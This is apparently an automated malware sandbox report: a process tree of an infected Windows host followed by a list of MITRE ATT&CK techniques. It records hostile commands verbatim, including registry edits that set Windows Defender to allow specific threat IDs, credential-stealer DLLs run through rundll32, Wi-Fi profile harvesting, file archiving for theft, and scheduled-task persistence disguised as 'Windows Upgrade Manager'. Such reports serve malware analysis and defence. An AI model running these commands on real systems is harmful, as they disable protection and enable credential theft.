  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:9880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5084
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:9940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:12428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6564 -ip 6564
1⤵
PID:8260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 6124 -ip 6124
1⤵
PID:8080

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
PID:9400
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
  2⤵
  PID:7632
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
    3⤵
    PID:8912
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:11260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\602636161432_Desktop.zip' -CompressionLevel Optimal
      4⤵
      PID:232
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
  2⤵
  PID:4852
- C:\Users\Admin\AppData\Local\Temp\1000985001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000985001\alexxxxxxxx.exe"
  2⤵
  PID:9212
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:9988
- C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe
  "C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe"
  2⤵
  PID:10972
- C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe
  "C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe"
  2⤵
  PID:4188
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:12624
- C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe"
  2⤵
  PID:7704
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:7112
- C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe"
  2⤵
  PID:4840
- C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe
  "C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe"
  2⤵
  PID:10244

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe mP /vQsite_idbvV 385118 /S
1⤵
PID:7860

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe mP /vQsite_idbvV 385118 /S
1⤵
PID:2000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 2648 -ip 2648
1⤵
PID:7296

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
PID:11460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
1⤵
PID:5528

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
PID:1140
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  PID:8456
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    PID:2760

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
1⤵
PID:6132

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\JlLaSYD.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\JlLaSYD.exe fx /Absite_idiIp 385118 /S
1⤵
PID:10296

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3933855 /state1:0x41c64e6d
1⤵
PID:13484

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
PID:12720

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\JlLaSYD.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\JlLaSYD.exe fx /Absite_idiIp 385118 /S
1⤵
PID:14064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 7912 -ip 7912
1⤵
PID:14200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery